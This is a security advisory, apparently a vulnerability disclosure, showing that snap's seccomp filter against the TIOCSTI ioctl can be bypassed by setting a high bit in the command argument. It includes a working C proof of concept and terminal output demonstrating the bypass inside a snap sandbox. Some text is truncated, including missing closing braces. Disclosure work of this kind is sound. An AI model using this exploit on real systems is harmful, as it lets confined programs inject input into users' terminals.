snap - seccomp BBlacklist for TIOCSTI can be Circumvented







snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the
source code, this filter is expressed as follows:

  # TIOCSTI allows for faking input (man tty_ioctl)
  # TODO: this should be scaled back even more
  ioctl - !TIOCSTI

In the X86-64 version of the compiled seccomp filter, this results in the
following BPF bytecode:

  0139 if nr == 0x00000010: [true +0, false +3]
  013b   if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl)
  0299   if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO
  030a   ret ALLOW (syscalls: ioctl)

This bytecode performs a 64-bit comparison; however, the syscall entry point for
ioctl() is defined with a 32-bit command argument in the kernel:

SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
  return ksys_ioctl(fd, cmd, arg);

This means that setting a bit in the high half of the command parameter will
circumvent the seccomp filter while being ignored by the kernel.

This can be tested as follows on Ubuntu 18.04. You might have to launch the
GNOME calculator once first to create the snap directory hierarchy, I'm not

user@ubuntu-18-04-vm:~$ cat tiocsti.c

#define _GNU_SOURCE
#include <termios.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <errno.h>

static int ioctl64(int fd, unsigned long nr, void *arg) {
  errno = 0;
  return syscall(__NR_ioctl, fd, nr, arg);

int main(void) {
  int res;
  char pushmeback = '#';
  res = ioctl64(0, TIOCSTI, &pushmeback);
  printf("normal TIOCSTI: %d (%m)\n", res);
  res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback);
  printf("high-bit-set TIOCSTI: %d (%m)\n", res);

user@ubuntu-18-04-vm:~$ gcc -o tiocsti tiocsti.c -Wall
user@ubuntu-18-04-vm:~$ ./tiocsti
#normal TIOCSTI: 0 (Success)
#high-bit-set TIOCSTI: 0 (Success)
user@ubuntu-18-04-vm:~$ ##
user@ubuntu-18-04-vm:~$ cp tiocsti /home/user/snap/gnome-calculator/current/tiocsti
user@ubuntu-18-04-vm:~$ snap run --shell gnome-calculator
user@ubuntu-18-04-vm:/home/user$ cd
user@ubuntu-18-04-vm:~$ ./tiocsti
normal TIOCSTI: -1 (Operation not permitted)
#high-bit-set TIOCSTI: 0 (Success)
user@ubuntu-18-04-vm:~$ #
user@ubuntu-18-04-vm:~$ pwd